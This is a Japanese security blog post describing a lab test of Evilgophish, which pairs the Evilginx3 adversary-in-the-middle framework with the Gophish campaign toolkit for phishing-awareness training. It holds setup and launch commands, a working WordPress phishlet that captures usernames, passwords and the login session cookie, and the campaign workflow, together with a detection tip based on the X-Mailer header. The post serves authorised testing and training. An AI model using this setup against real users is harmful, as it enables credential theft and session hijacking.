このブログは、最近AWSと格闘しているアルバイトのseigo2016が書いています。 あるもりすぶろぐの内容は個人の意見です。
はじめに
検証には自身で管理する環境を使用し、自己責任でお願いします。また、この情報を悪用することは絶対に行わないでください。
今回は、フィッシングメールや、標的型攻撃メールの訓練に有用なソフトウェアである、Evilgophishの検証を行いました。
概要
Evilgophishは、中間者攻撃フレームワークのEvilginx3と、フィッシングツールキットのGophishを組み合わせたソフトウェアです。
Evilgophishを使うことで、ソーシャルエンジニアリングや標的型攻撃メールの訓練やテストを行うことができます。
Evilginxについて
Evilginxは、セッションCookieと共にログイン認証情報をフィッシングする中間者攻撃フレームワークです。 Go言語で独自のHTTP及びDNSサーバーが実装されています。
Gophishについて
Gophishは、ペネトレーションテスト等向けに設計された、オープンソース(MIT License)のフィッシングツールキットです。 こちらもGo言語で実装されています。
Evilgophishについて
Evilginx3をソーシャルエンジニアリングの検証や調査に用いるためには、別途個別の追跡情報を取得・確認する機能や、実際にメールやSMSなどに送信する方法を用意する必要があります。
このEvilgophishでは、Evilginx3とGophishを組み合わせることで、キャンペーンの統計情報の取得・確認やメール・SMSの送信などが可能であり、更にそれらの情報をWebブラウザから確認することができます。
検証
検証環境構成
すべての環境はVagrant上に構築し、それぞれにローカルのIPアドレスを付与しています。
Evilgophish環境構築手順
cloneとセットアップ
git clone https://github.com/fin3ss3g0d/evilgophish.git sudo ./setup.sh example.test example.test true google.com true user_id false
Evilgophishの検証
Evilginxの起動・設定
cd evilginx3 ./evilginx3 -g ../gophish/gophish.db -p legacy_phishlets/ --developer
-developer
をつけることで、developer modeが有効になり、自己署名証明書が発行されます。
-p
オプションでlegacy_phishlets/
ディレクトリを指定することで、legacy_phishlets
ディレクトリ以下のphishletsが読み込まれます。
-g
オプションで連携するgophishのデータベースを指定します。
検証のために用意したWordpress用のphishletを使用し、legacy_phishlets
ディレクトリ以下に配置しました。
このphishletは同じく株式会社ArmorisアルバイトのShaderoが以前の検証で利用したものを使わせてもらっています。
author: '@armoris' min_ver: '2.3.0' proxy_hosts: - {phish_sub: '', orig_sub: '', domain: 'wp.test', session: true, is_landing: true} sub_filters: - {triggers_on: 'wp.test', orig_sub: '', domain: 'wp.test', search: '{hostname}', replace: '{hostname}', mimes: ['text/html']} auth_tokens: - domain: 'wp.test' keys: ['wordpress_logged_in_12913fd91550a6158ad37f2c7911fba9'] credentials: username: key: 'log' search: '(.*)' type: 'post' password: key: 'pwd' search: '(.*)' type: 'post' login: domain: 'wp.test' path: '/wp-login.php'
config domain example.test config ipv4 172.16.0.99 phishlets hostname wordpress example.test phishlets enable wordpress lures create wordpress lures get-url 0
ここで表示されたフィッシングURLをgophish側で利用するため、保存しておきます。
gophishの起動・設定
今回は、gophishのダッシュボードにLAN内の別のマシンから接続するため、configのlisten_urlを書き換えています。
{ "admin_server": { "listen_url": "0.0.0.0:3333", "use_tls": true, "cert_path": "gophish_admin.crt", "key_path": "gophish_admin.key" }, "phish_server": { "listen_url": "0.0.0.0:8080", "use_tls": true, "cert_path": "gophish_template.crt", "key_path": "gophish_template.key" }, "feed_enabled": true, "db_name": "sqlite3", "db_path": "gophish.db", "migrations_prefix": "db/db_", "contact_address": "", "logging": { "filename": "", "level": "" } }
sudo ./gophish
起動に成功すると、初回ログイン用のユーザー名とパスワードが表示されます。 それを用いて、ブラウザからダッシュボードにログインします。
Email Templatesの作成
左側のメニューからEmail/SMS Templates
を選択し、New Template
ボタンをクリックして、フィッシングメールのテンプレートを作成します。
本文内に{{.URL}}
を設定することで、後で設定するEvilginxのフィッシングURLが挿入されます。
Email Sending Profilesの作成
左側のメニューからEmail/ Sending Profiles
を選択し、フィッシングメールの送信に利用するSMTPサーバーの設定を行います。
Users & Groups の作成
左側のメニューからUsers & Groups
を選択し、New Group
から、フィッシングメールを送信するユーザーのグループを設定します。対象のユーザーの名前やメールアドレスを指定し、ユーザーを追加することができます。
Campaignsの作成
左側のメニューのLaunch Email Campaign
からキャンペーンを作成します。
ここで、先程設定したEmail Template及びSending Profile、ユーザーグループを設定します。
また、evilginx URL
の欄に、Evilginxで発行したPhishing URLを入力することで、先述のEmail Templatesの{{.URL}}
の箇所にURLが挿入されます。
下部のProfitボタンをクリックすると、メールが送信されます。
今回はこのようなメールを送信しました。
キャンペーン状態の確認
送信後、ダッシュボードに戻ってくると、Email/SMS Sentが更新されています。 このように、グラフィカルにアクティブなキャンペーンの状態が確認できます。
また、画面下部のDetails欄に個別のメール送信先のStatusと取得した情報が表示されます。
受信したメールをユーザーがクリックすると、StatusがClicked Link
に更新され、クリックしたOS及びブラウザの情報と日時が表示されます。
その後、ユーザーがEvilginxで用意したフィッシングサイトにログインすると、Submitted Data
とCaptured Session
のステータスが更新されます。
Details欄の該当ユーザーのタイムラインを見ると、用意したEvilginxのPhishletsでキャプチャするように指定した情報が取得できていることが確認できます。
Evilginx2と3の差異
セッショントークン関連
HTTP 応答パケットの本文や、Authorizationヘッダーなどからもセッショントークンを取得できるようになりました。
これまで、セッショントークンはHTTP Cookieとして送信される前提でしたが、最近ではJSONとして取得後、ローカルストレージに保存する流れも一般的であるためと説明されています。
config
configのファイルフォーマットがyamlからJSONに変更されました。一方で、phishletsはyamlのままです。
phishing sessions
有効なURLが開かれると、常にフィッシングセッションが作成されるようになりました。 これにより、ターゲットがURLを開く度にリバースプロキシセッションが新しく作成されます。
JavaScriptでのURLリダイレクト
これまでは、HTTP Locationヘッダーを通じてredirect_urlにリダイレクトしていました。しかし、この方法では、refererヘッダーを通じてフィッシングURLが宛先に公開されてしまっていました。今後はJavaScriptを用いてリダイレクトされます。
Evilgophishで攻撃された場合の検知方法
Gophishで送信したメールのX-MailerヘッダーにはIGNORE
が設定されています。
X-Mailerヘッダーとは、送信者の使用したメールクライアントやそのバージョンなどが記載されたものです。
今のところ、このヘッダーの変更はOptionからは行えないようです。
今回送信したメールのヘッダー情報
最後に
今回はEvilginx2と3の比較と、Evilgophishの検証を行いました。
Evilginx3では、phishing sessions作成タイミングの変更やsession tokenを取得できる箇所の増加により、より柔軟に利用することができようになったと感じました。
また、Evilgophishを用いることで、メールテンプレートの作成や送信・統計情報の取得まで、ブラウザ上で容易に行うことができ、非常に有用であると思います。
「標的型攻撃による機密情報の窃取」は、IPAが公開している情報セキュリティ10大脅威 2023で、長年上位にランクインしています。Evilgophishを活用することで、標的型攻撃メール訓練の実施を簡単に行うことができます。